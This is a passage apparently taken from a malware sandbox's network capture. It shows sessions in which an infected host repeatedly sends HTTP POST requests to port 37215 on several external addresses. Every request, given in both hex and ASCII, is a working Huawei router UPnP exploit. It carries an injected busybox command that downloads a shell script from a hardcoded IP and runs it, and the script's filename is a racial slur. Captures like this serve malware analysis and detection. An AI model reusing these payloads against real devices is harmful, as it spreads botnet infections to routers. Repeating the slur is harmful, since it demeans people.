HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:02.528600931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.15	51328	31.136.107.104	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.053649902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.609318018 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.729316950 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.065310001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.673136950 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:45.632886887 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:04.576453924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.15	35814	31.200.57.26	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.087110043 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.15	38278	31.200.5.115	37215

Timestamp	Bytes transferred	Direction	Data
